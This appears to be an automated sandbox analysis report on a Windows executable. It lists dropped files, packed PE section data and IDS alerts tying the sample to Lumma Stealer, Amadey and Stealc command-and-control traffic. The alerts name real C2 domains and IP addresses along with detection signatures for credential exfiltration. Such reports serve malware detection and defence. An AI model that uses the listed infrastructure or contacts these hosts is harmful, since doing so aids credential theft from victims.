Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	11956
Entropy (8bit):	5.469864561337456
Encrypted:	false
SSDEEP:	192:6nPOeRnLYbBp6HJ0aX+H6SEXKKNwjQ5RHWNBw8d2Sl:oDeWJUadxHEwD0
MD5:	71207967DF12414D2AD7DC04E1FB49D5
SHA1:	193DA2686FA59740C87DD4607F2A692472C69AE7
SHA-256:	5186C8133328D4AB8CE8F7D437CDFB281305F5E94E9CCB8F72E9E4E9E8C2E1B7
SHA-512:	CB4C8C4C7900F55D54B01A0E7FC75305C3CD349D32F5C5E4378600B730D830B04239E451F0CB3DCB5342BCCAFCB1E632CC6D7B25A7CD46C92704DCC8531E673B
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1730440997);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	11956
Entropy (8bit):	5.469864561337456
Encrypted:	false
SSDEEP:	192:6nPOeRnLYbBp6HJ0aX+H6SEXKKNwjQ5RHWNBw8d2Sl:oDeWJUadxHEwD0
MD5:	71207967DF12414D2AD7DC04E1FB49D5
SHA1:	193DA2686FA59740C87DD4607F2A692472C69AE7
SHA-256:	5186C8133328D4AB8CE8F7D437CDFB281305F5E94E9CCB8F72E9E4E9E8C2E1B7
SHA-512:	CB4C8C4C7900F55D54B01A0E7FC75305C3CD349D32F5C5E4378600B730D830B04239E451F0CB3DCB5342BCCAFCB1E632CC6D7B25A7CD46C92704DCC8531E673B
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1730440997);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 8, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.0836444556178684
Encrypted:	false
SSDEEP:	24:JBwdh/cEUcR9PzNFPFHx/GJRBdkOrDcRB1trwDeAq2gRMyxr3:jnEUo9LXtR+JdkOnohYsl
MD5:	BB6AF1BFE7DFA2D3D28DCA9C1D5C209F
SHA1:	D216BA7AF17521E30A8FFA1E5804827E6995F8D3
SHA-256:	4154A056F32C1395703E6842800E3987C035290F0B5EFAE666DC2DA978391563
SHA-512:	DC6946DE516315407B216C3C3945D820C3D2CA70C6ADE66BC96439CD304E7AF08FB5DBF17F1DD21E299FB3348E1C5F92FD64892FBF13C8FC002A10FEB6AD107B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.3662386090661665
Encrypted:	false
SSDEEP:	6:2HTRAeBjVX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lBsAt0:2HGe1RuQ1CGAFifXVBsAt0
MD5:	63C8CAC1CD324B24F50F065C5D6611CD
SHA1:	B155C24AEBF9093BB1F2EEAC88F4D5696E109E95
SHA-256:	9657390107E467158AC5FB1A1DF6BE88B7570650A207EE32AA3084A3C16FF2A7
SHA-512:	8D8D4E05AE79D42FE594F4A512A5A59DA546000B89EA82A1F57D5EEF56B62926E62632C4263A143D67D596B645DF23D765E38A7CFB4D0D0B5978D26E26ABA244
Malicious:	false
Preview:	.....b.?t.HD..M.{..F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0.................5.@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.505043580641785
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'027'456 bytes
MD5:	3ce8a084a0d153f38580f6df179b0be9
SHA1:	2c4756d7a989761b174cc79913ae4c37e19fff10
SHA256:	af2230310bf32dde9403e6706e93e157a793c90b24db6907e77212b0ce557a4b
SHA512:	8b7688a2dd48dd0912b660ca3798cf037214a6a58e9b03bacff69d9a6084da4fda0fcd72c643ed543034916b9083a025019f867d9b1f15caaddaa2ec4963c59e
SSDEEP:	49152:8NZEmdkDZn4w6aMWAfGnq2di0ty5rLqSIxk:80mOD2FhGq2dpY5rMx
TLSH:	C4E54BD2E509B2CFD48E1774842FCD866D5D07B94720C9C7E96C64BEAD63CC621BAC28
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J...........@1...........@..........................p1......9....@.................................T...h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x714000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F76D8FA931Ah
movups xmm5, dqword ptr [esi]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x59000	0x340	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	ed34c24059dbc9fafcfb3f1f4f9e4bb7	False	0.9981632053291536	data	7.984163061958727	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x340	0x400	914cd139a383496d0085d499d138ef92	False	0.390625	data	4.997389973748798	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
oxcwbfly	0x5b000	0x2b8000	0x2b7800	3a91961110dab55a7732904eed07c464	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
bkmxxdia	0x313000	0x1000	0x400	a91eac1a7c177cb202efdcfb622357e3	False	0.822265625	data	6.378702972679151	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x314000	0x3000	0x2200	a411455b736472a6f94d6aa1b081d108	False	0.07559742647058823	DOS executable (COM)	0.7850158010675633	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x59058	0x2e6	XML 1.0 document, ASCII text, with CRLF line terminators			0.45417789757412397

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-01T05:52:05.755144+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.5	60526	1.1.1.1	53	UDP
2024-11-01T05:52:05.768959+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.5	60398	1.1.1.1	53	UDP
2024-11-01T05:52:05.778638+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.5	63035	1.1.1.1	53	UDP
2024-11-01T05:52:05.788606+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.5	60189	1.1.1.1	53	UDP
2024-11-01T05:52:05.803123+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.5	55259	1.1.1.1	53	UDP
2024-11-01T05:52:06.435018+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49704	188.114.96.3	443	TCP
2024-11-01T05:52:06.435018+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49704	188.114.96.3	443	TCP
2024-11-01T05:52:07.015797+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49704	188.114.96.3	443	TCP
2024-11-01T05:52:07.015797+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49704	188.114.96.3	443	TCP
2024-11-01T05:52:07.669974+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49705	188.114.96.3	443	TCP
2024-11-01T05:52:07.669974+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49705	188.114.96.3	443	TCP
2024-11-01T05:52:08.368376+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49705	188.114.96.3	443	TCP
2024-11-01T05:52:08.368376+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	188.114.96.3	443	TCP
2024-11-01T05:52:09.395983+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49706	188.114.96.3	443	TCP
2024-11-01T05:52:09.395983+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49706	188.114.96.3	443	TCP
2024-11-01T05:52:10.120742+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49706	188.114.96.3	443	TCP
2024-11-01T05:52:10.848830+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49707	188.114.96.3	443	TCP
2024-11-01T05:52:10.848830+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49707	188.114.96.3	443	TCP
2024-11-01T05:52:12.179940+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49708	188.114.96.3	443	TCP
2024-11-01T05:52:12.179940+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49708	188.114.96.3	443	TCP
2024-11-01T05:52:13.921512+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49709	188.114.96.3	443	TCP
2024-11-01T05:52:13.921512+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49709	188.114.96.3	443	TCP
2024-11-01T05:52:15.940258+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49710	188.114.96.3	443	TCP
2024-11-01T05:52:15.940258+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49710	188.114.96.3	443	TCP
2024-11-01T05:52:18.333447+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49711	188.114.96.3	443	TCP
2024-11-01T05:52:18.333447+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49711	188.114.96.3	443	TCP
2024-11-01T05:52:18.787458+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49711	188.114.96.3	443	TCP
2024-11-01T05:52:19.709983+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49712	185.215.113.16	80	TCP
2024-11-01T05:52:22.115721+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	172.202.163.200	443	192.168.2.5	49713	TCP
2024-11-01T05:53:04.554085+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	49932	185.215.113.43	80	TCP
2024-11-01T05:53:07.928977+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49950	185.215.113.16	80	TCP
2024-11-01T05:53:12.477932+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	49943	TCP
2024-11-01T05:53:13.333170+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.5	60812	1.1.1.1	53	UDP
2024-11-01T05:53:13.344138+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.5	61576	1.1.1.1	53	UDP
2024-11-01T05:53:13.355234+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.5	60536	1.1.1.1	53	UDP
2024-11-01T05:53:13.366045+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.5	62846	1.1.1.1	53	UDP
2024-11-01T05:53:13.406627+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49980	185.215.113.43	80	TCP
2024-11-01T05:53:14.007464+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49986	188.114.96.3	443	TCP
2024-11-01T05:53:14.007464+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49986	188.114.96.3	443	TCP
2024-11-01T05:53:14.318692+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49987	185.215.113.16	80	TCP
2024-11-01T05:53:14.555838+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49986	188.114.96.3	443	TCP
2024-11-01T05:53:14.555838+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49986	188.114.96.3	443	TCP
2024-11-01T05:53:15.466266+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49991	188.114.96.3	443	TCP
2024-11-01T05:53:15.466266+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49991	188.114.96.3	443	TCP
2024-11-01T05:53:15.963529+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49991	188.114.96.3	443	TCP
2024-11-01T05:53:15.963529+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49991	188.114.96.3	443	TCP
2024-11-01T05:53:17.228610+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49992	188.114.96.3	443	TCP
2024-11-01T05:53:17.228610+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49992	188.114.96.3	443	TCP
2024-11-01T05:53:18.639861+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49993	188.114.96.3	443	TCP
2024-11-01T05:53:18.639861+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49993	188.114.96.3	443	TCP
2024-11-01T05:53:19.211274+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49994	185.215.113.43	80	TCP
2024-11-01T05:53:20.111039+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49997	188.114.96.3	443	TCP
2024-11-01T05:53:20.111039+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49997	188.114.96.3	443	TCP
2024-11-01T05:53:20.140343+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49995	185.215.113.16	80	TCP
2024-11-01T05:53:20.510688+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49996	185.215.113.206	80	TCP
2024-11-01T05:53:21.852965+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49998	188.114.96.3	443	TCP
2024-11-01T05:53:21.852965+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49998	188.114.96.3	443	TCP
2024-11-01T05:53:22.362081+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49998	188.114.96.3	443	TCP
2024-11-01T05:53:24.367048+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49999	185.215.113.43	80	TCP
2024-11-01T05:53:24.376665+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50000	188.114.96.3	443	TCP
2024-11-01T05:53:24.376665+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50000	188.114.96.3	443	TCP
2024-11-01T05:53:24.642504+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.5	53272	1.1.1.1	53	UDP
2024-11-01T05:53:24.663218+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.5	58816	1.1.1.1	53	UDP
2024-11-01T05:53:24.682188+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.5	58786	1.1.1.1	53	UDP
2024-11-01T05:53:24.694953+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.5	49900	1.1.1.1	53	UDP
2024-11-01T05:53:25.324829+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50001	185.215.113.16	80	TCP
2024-11-01T05:53:25.324829+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	50001	185.215.113.16	80	TCP
2024-11-01T05:53:25.334167+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50002	188.114.96.3	443	TCP
2024-11-01T05:53:25.334167+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50002	188.114.96.3	443	TCP
2024-11-01T05:53:26.160666+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	50002	188.114.96.3	443	TCP
2024-11-01T05:53:26.160666+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50002	188.114.96.3	443	TCP
2024-11-01T05:53:26.915699+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50003	188.114.96.3	443	TCP
2024-11-01T05:53:26.915699+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50003	188.114.96.3	443	TCP
2024-11-01T05:53:26.964689+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50004	188.114.96.3	443	TCP
2024-11-01T05:53:26.964689+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50004	188.114.96.3	443	TCP
2024-11-01T05:53:27.815755+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50003	188.114.96.3	443	TCP
2024-11-01T05:53:27.830592+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	50004	188.114.96.3	443	TCP
2024-11-01T05:53:27.830592+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50004	188.114.96.3	443	TCP
2024-11-01T05:53:28.433448+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50007	185.215.113.206	80	TCP
2024-11-01T05:53:28.982801+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50013	188.114.96.3	443	TCP
2024-11-01T05:53:28.982801+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50013	188.114.96.3	443	TCP
2024-11-01T05:53:29.011620+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	50010	185.215.113.16	80	TCP
2024-11-01T05:53:29.580955+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50014	185.215.113.43	80	TCP
2024-11-01T05:53:30.586197+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50015	188.114.96.3	443	TCP
2024-11-01T05:53:30.586197+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50015	188.114.96.3	443	TCP
2024-11-01T05:53:33.528497+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50020	188.114.96.3	443	TCP
2024-11-01T05:53:33.528497+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50020	188.114.96.3	443	TCP
